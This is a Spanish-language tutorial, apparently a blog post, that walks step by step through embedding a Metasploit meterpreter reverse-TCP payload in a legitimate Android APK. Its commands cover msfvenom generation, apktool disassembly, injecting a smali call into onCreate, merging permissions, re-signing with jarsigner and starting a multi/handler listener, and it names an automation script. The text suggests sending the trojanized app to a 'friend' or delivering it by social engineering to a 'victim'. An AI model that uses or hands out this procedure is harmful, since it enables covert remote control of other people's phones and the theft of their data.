En este tutorial vamos modificar un APK (cualquier aplicación o juego Android) añadiéndole un payload de Metasploit (msf) y posteriormente tener una sesión meterpreter.

1. Introducción al malware en smartphones

El móvil está en todas partes estos días. En cuanto al malware, nuestros amigos de Apple siguen manteniendo el paradigma de intentar examinar todas las aplicaciones que entran en la tienda de aplicaciones de iOS. Aunque se trata de un esfuerzo noble, todavía hay casos en los que el malware se cuela por la puerta.

A diferencia de Apple, el mercado de Android es un enfoque abierto que permite a cualquier persona contribuir a la Play Store y, además, representa la mayor parte de la participación del mercado móvil. Además, hay varios sitios de terceros que permiten la descarga directa de archivos de paquetes de aplicaciones Android (APK).

2. Metasploit y Android

El proyecto Metasploit le permite a un pentester generar cargas útiles (de ahora en adelante ‘payloads’) de Android con un canal de comando meterpreter altamente funcional que se puede cargar en un dispositivo Android. Normalmente, la carga de este APK se realizará a través del depurador de Android “adb“.

Desde la perspectiva de un pentester, algo divertido de hacer es combinar una aplicación legítima con Meterpreter, y cargarla en un dispositivo Android. Naturalmente, podríamos considerar enviar ese ‘malware‘ a un “amigo” como un regalo o hacerlo mediante ingeniería social.

3. Hacking Android con Metasploit

Las aplicaciones de Android están escritas en Java, que se compilan en un formato ejecutable de Dalvik conocido como DEX. La versión compilada de una aplicación es un archivo ZIP de archivos de bytecode DEX. La máquina virtual Dalvik en Android se reemplazó más recientemente con Android RunTime (ART), que realiza una optimización adicional y compila el código de bytes DEX en un código de ensamblaje nativo.

Smali/baksmali es un ensamblador/desensamblador para el bytecode DEX de Android. Una herramienta de Android llamada “apktool” permite desensamblar DEX comprimidos (archivos APK) en archivos smali, y volver a ensamblar los archivos smali a DEX y, posteriormente, al formato APK comprimido. Podemos usar esta herramienta para desmontar y modificar un archivo APK existente. En este contexto, podemos usar la herramienta para desensamblar y agregar un punto de entrada estático adicional en el código smali del Activity inicial de Android para iniciar nuestro Meterpreter.

En general, los pasos para incrustar un Meterpreter en un archivo APK existente son los siguientes:

  1. Encontrar una aplicación APK de diversión en “apkmirror.com” o en un sitio mirror similar.
  2. Generar el archivo APK Metasploit.
  3. Desmontar con “apktool” el archivo APK Metasploit y el archivo APK que intentas modificar.
  4. Copiar todo el código de smali de Meterpreter en el nuevo directorio smali del APK.
  5. Encontrar el punto de entrada del código dentro del archivo AndroidManifest.xml de la aplicación APK buscando la línea: <action android:name="android.intent.action.MAIN"/>
  6. Modificar el archivo “.smali” del activity para incluir una línea que inicie la etapa del Meterpreter.
  7. Copiar todos los permisos de Meterpreter del AndroidManifest.xml en el AndroidManifest.xml del APK modificado.
  8. Re-ensamblar en formato comprimido DEX.
  9. Firmar el archivo APK recién creado con “jarsigner“, y luego cargar en el dispositivo Android de la víctima.

4. Ejemplo de Payload para Android

Es mucho más fácil entender los pasos anteriores con un ejemplo concreto.

Requisitos:

  • Kali Linux
  • Apktool (Integrada en Kali)

4.1. Descargar un APK legítimo

Para ilustrar esto, descarga un archivo APK de cualquier juego o aplicación en apkmonk.com, apkmirror.com o cuál otro mirror.

En mi caso usaré de ejemplo nuestra app conocida

Descargar cualquier APK de un sitio mirror

Descargar cualquier APK de un sitio mirror

4.2. Generar tu malware APK

Luego generaré un APK Metasploit usando el comando “msfvenom” de la siguiente manera:

msfvenom -p android/meterpreter/reverse_tcp LHOST=[Tu_IP] LPORT:4444 -o msf.apk
Generar un APK malware con msfvenom

Generar un APK malware con msfvenom

4.3. Desmontar los archivos APK

Ambos archivos (APK ‘original’ y APK ‘malware’) se desmontaron usando “apktool” de la siguiente manera:

apktool d HowToGuiaparaInformaticos_v1.5.apk
apktool d msf.apk
Desmontar o desemsamblar archivos APK

Desmontar o desemsamblar archivos APK

4.4. Copiar el código de malware a la aplicación original

Una forma fácil de hacer esto es cambiar el directorio del Metasploit APK y luego copiar todos los archivos bajo el directorio “smali” en el directorio, para mi caso de ejemplo, HowToGuiaparaInformaticos_v1.5

Un viejo truco que aprendí de un administrador de sistemas para hacer una copia de seguridad de árboles de directorios completos es usar el comando “tar”, ¿cómo así? pues puedes canalizar la salida de tar en un segundo comando que cambia de directorio y “untars” los archivos resultantes.

  • Antes de mostrarte el comando, este artículo sobre TAR te puede interesar: +20 Comandos TAR para comprimir y extraer archivos en Linux
//Primero ubícate en el directorio de msf
cd msf/
tar -cf - ./smali | (cd ../[CarpetaArchivoOriginal]; tar -xpf - )
Combinar archivo malware en APK

Combinar archivo malware en APK

4.5. Encontrar la Actividad EntryPoint

A continuación podemos ver que la actividad de la entrada aparece como “com.esgeeks.howto_informaticos.ui.activity.IntroActivity“. Lo sabemos porque el XML contiene un filtro con “android.intent.action.MAIN” dentro de él.

grep -B2 "MAIN" AndroidManifest.xml
Encontrar Actividad EntryPoint en Android

Encontrar Actividad Principal en Android

4.6. Modificar el archivo smali del EntryPoint

Como se puede ver arriba, en este caso, el archivo se llama “IntroActivity.smali” (generalmente suelen llamarse “MainActivity.smali”, así que dependerá de la aplicación) y se ubicará en el directorio “com.esgeeks.howto_informaticos.ui.activity” según los puntos (“.”) En la ruta de clase completamente calificada.

Ubicación del archivo de la actividad EntryPoint

Ubicación del archivo de la actividad EntryPoint

Dentro del archivo “IntroActivity.smali“, buscamos el método “onCreate()“.

Necesitamos agregar una sola línea de código justo debajo de la llamada al método “onCreate()” para invocar nuestra etapa Meterpreter.

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

Ten en cuenta que lo anterior es una sola línea de código. El resultado final después de la modificación se verá como la siguiente captura de pantalla.

Agregar código en onCreate() para Meterpreter

Agregar código en onCreate() para Meterpreter

4.7. Agregar permisos al archivo APK modificado “AndroidManifest.xml”

Para el siguiente paso, usa grep para buscar todas las líneas en el archivo “AndroidManfest.xml” del Metasploit (msf.apk) que contienen los strings “uses-permission” y “uses-feature” y luego copiarlas.

cat AndroidManifest.xml | grep "uses-permission"
Strings de uses-permission en Android

Strings de uses-permission en Android

Deberás usar un editor para insertar los permisos en el lugar adecuado en el nuevo archivo “AndroidManifest.xml” (del APK modificado). Busca una línea “uses-permission” existente como tu guía de dónde insertar el texto.

Añadir uses-permission al archivo malware

Añadir uses-permission al archivo malware

Nota 1!

Podría terminar con algunos permisos duplicados. Opcionalmente puedes eliminarlos pero realmente no importa.

4.8. Construir el nuevo archivo de paquete APK

Ahora usa “apktool” de nuevo para volver a ensamblar el archivo resultante del paquete APK. El resultado final se escribirá en un directorio “dist” dentro del propio directorio del APK.

apktool b HowToGuiaparaInformaticos_v1.5
Construir nuevo archivo de paquete APK

Construir nuevo archivo de paquete APK

Si te presenta un error, al igual que me pasó a mi. Agrega este comando y vuelve a ejecutar el anterior:

apktool empty-framework-dir --force

4.9. Vuelva a firmar el archivo del paquete resultante

Un método sencillo es utilizar la “keytool” de Java para generar tu propio repositorio de claves autofirmado y luego firmarlo con la herramienta “jarsigner” como se muestra en las capturas de pantalla a continuación.

keytool -genkey -v -keystore howto.keystore -alias howto -keyalg RSA -keysize 2048 -validity 10000
Claves de autofirmado con keytool

Claves de autofirmado con keytool

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore howto.keystore 
Firmar APK con jarsigner

Firmar APK con jarsigner

Finalmente, el archivo “HowToGuiaparaInformaticos_v1.5.apk” está listo para ser enviado e instalado en un dispositivo Android víctima.

4.10. Obtener una sesión de meterpreter

El paso final es, por supuesto, probar nuestra aplicación recién infectada.

Descubrí entonces que, en el momento en que inicié la app, se obtiene un shell Meterpreter en el sistema KALI. Antes que nada, ejecutamos lo siguiente:

msfconsole
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST "[tu_IP]"
set LPORT "4444"
exploit
Sesión de meterpreter para Android

Sesión de meterpreter para Android

¡Ahora sí! Tenemos acceso remoto al dispositivo Android:

Acceso remoto a dispositivo Android

Acceso remoto a dispositivo Android

5. Tutorial hacking Android

https://youtu.be/amvuZNfnsos

6. Conclusión

Tantos pasos complicados … puede salir mal …

Así que después de realizar todos los pasos requeridos anteriormente, me pregunté si había algo más fácil. Hay tantas partes móviles que las posibilidades de error son bastante altas. Es probable que haya otras herramientas disponibles para usar, pero decidí hacer este tutorial explicando un poco a detalle.

En mi búsqueda de encontrar algo más sencillo, me encontré con un script de Python para automatizar este proceso. La herramienta se llama AndroidEmbedIT y esta es definitivamente lo más sencillo para obtener algo sin mucho esfuerzo.

Nota 2!

Para usar android_embedit.py solo debes proporcionar un archivo APK generado por Metasploit, un APK original para modificar y un keystore, realizará todos los pasos de forma automática y generará el resultado final para ti.

A continuación se muestra un ejemplo de uso. Todos los archivos temporales y la salida final del APK se almacenarán en el directorio “~/.ae”.

python android_embedit.py -kp howto -kn howto -ks howto.keystore [APK_original] msf.apk
AndroidEmbedIT para hacking de Android

AndroidEmbedIT para hacking de Android

¡Usa esta herramienta con cuidado y nos vemos en un próximo tutorial! Deja tus dudas en los comentarios y comparte este artículo ;’)

Compartir